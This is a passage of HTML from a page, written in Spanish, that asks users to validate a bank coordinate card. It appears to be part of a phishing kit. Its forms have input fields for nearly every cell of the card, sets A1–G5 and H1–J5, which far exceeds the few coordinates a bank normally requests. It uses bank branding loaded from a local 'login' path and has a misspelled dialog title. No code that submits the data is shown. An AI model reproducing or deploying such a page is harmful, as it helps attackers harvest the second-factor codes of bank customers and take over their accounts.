">3</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="A3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="B3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="C3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="D3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="E3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="F3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="G3">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">4</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="A4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="B4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="C4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="D4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="E4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="F4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="G4">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">5</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="A5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="B5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="C5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="D5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="E5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="F5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="G5">
</div>
</div>
</form>
</div>
<div>
<img src="login/static/cenco-logo.svg" style="
width: 170px;
float: left;
margin-top: 70px;
color: #f9b930;
margin-left: 40px;
">
</div>
</div>
<div id="dialog-coordenadas2" title="Validar Clave de Coodenadas">
<div class="card-coordendas">
</div>
<div id="my" style="">
<h3 style="
margin-left: 10px;
font: 12.5px var(--ion-font-family);
color: var(--color-grey-medium);
padding: 10px;
float: left;
">
Tus datos personales son muy importantes para nosotros. Para resguardar tu seguridad, te solicitamos ingresar con tu tarjeta de coordenadas.</h3>
<div _ngcontent-cls-c14="" class="form-container"style="
float: right!important;
">
<form _ngcontent-cls-c14="" autocomplete="off" class="coordenadas2 form ng-untouched ng-pristine ng-invalid" novalidate="" style="
padding-top: 20px;
">
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">1</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">H</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="H1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">I</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="I1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">J</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="J1">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">2</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="H2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="I2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="J2">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">3</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="H3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="I3">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="J3">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">4</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="H4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="I4">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="J4">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">5</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="H5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="I5">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="J5">
</div>
</div>
</form>
</div>
</div>
<div>
<img src="https://staticresourcesfiles.blob.core.windows.net/content/web/static/3696419433280833-logo-landing.svg" style="
width: 140px;
float: left;
margin-top: 55px;
color: #f9b930;
margin-left: 90px;
">
</div>
</div>
</div>
<div id="loading" class=" ld-ext-middle running" style="z-index: 999999;font-size : 1.5em;margin-top : 2px; position: absolute;left: 40%;top: 40%; display: none;">
<div class="ReactModal__Content ReactModal__Content--after-open modal-loading" tabindex="-1" role="dialog" aria-modal="true"><div class="modal-loading__loader modal-loading__loader--orange"></div></div>
</div>
</body></html>